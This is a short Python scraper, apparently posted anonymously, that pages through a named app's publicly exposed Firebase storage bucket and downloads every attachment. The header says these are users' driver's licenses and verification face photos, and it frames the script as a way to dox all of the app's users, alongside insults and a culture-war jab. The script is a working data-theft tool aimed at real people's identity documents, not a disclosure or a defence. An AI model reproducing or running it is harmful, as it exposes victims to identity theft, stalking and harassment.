#!/usr/bin/env python3
#
# HAPPENING: TEA APP DOXXES ALL ITS USERS!
# DRIVERS LICENSES AND FACE PICS!
#
# This script scrapes all image attachments from the public firebase storage
# bucket that the morons over at Tea App have been uploading everyone's
# drivers licenses and verification pics to.
#
# This is what happens when you entrust your personal information to a bunch
# of vibe coding dipshits who are hellbent on destroying Western birthrates even
# further.
#
# By default, this script dumps images to the directory "dump".
# You can configure this by changing OUTPUT_DIR below.
#
# You need requests to run this script:
#    $ pip install requests
#
# - Regards, anon
 
import os
import requests
 
 
OUTPUT_DIR = 'dump'
BASE_URL = 'https://firebasestorage.googleapis.com/v0/b/tea-the-app.appspot.com/o/'
 
pageToken = ''
 
if not os.path.exists(OUTPUT_DIR):
    os.mkdir(OUTPUT_DIR)
 
while True:
    # get page
    resp = requests.get(
        BASE_URL,
        params={'pageToken': pageToken},
    )
    if resp.status_code != 200:
        print("Page request failed, code " + str(resp.status_code))
        break
    resp_json = resp.json()
 
    # download attachments
    for item in resp_json['items']:
        fname = item['name']
        if not fname.startswith('attachments/'):
            continue
        outpath = OUTPUT_DIR + '/' + fname.split('/')[1] + '.jpg'
        print(outpath)
        if os.path.isfile(outpath):
            # skip files we already have
            continue
        img_resp = requests.get(
            BASE_URL + fname.replace('/', '%2F'),
            params={'alt': 'media'},
            stream=True,
        )
        if img_resp.status_code != 200:
            continue
        with open(outpath, 'wb') as f:
            f.write(img_resp.content)
 
    # next page
    try:
        pageToken = resp_json['nextPageToken']
    except KeyError:
        print('done')
        break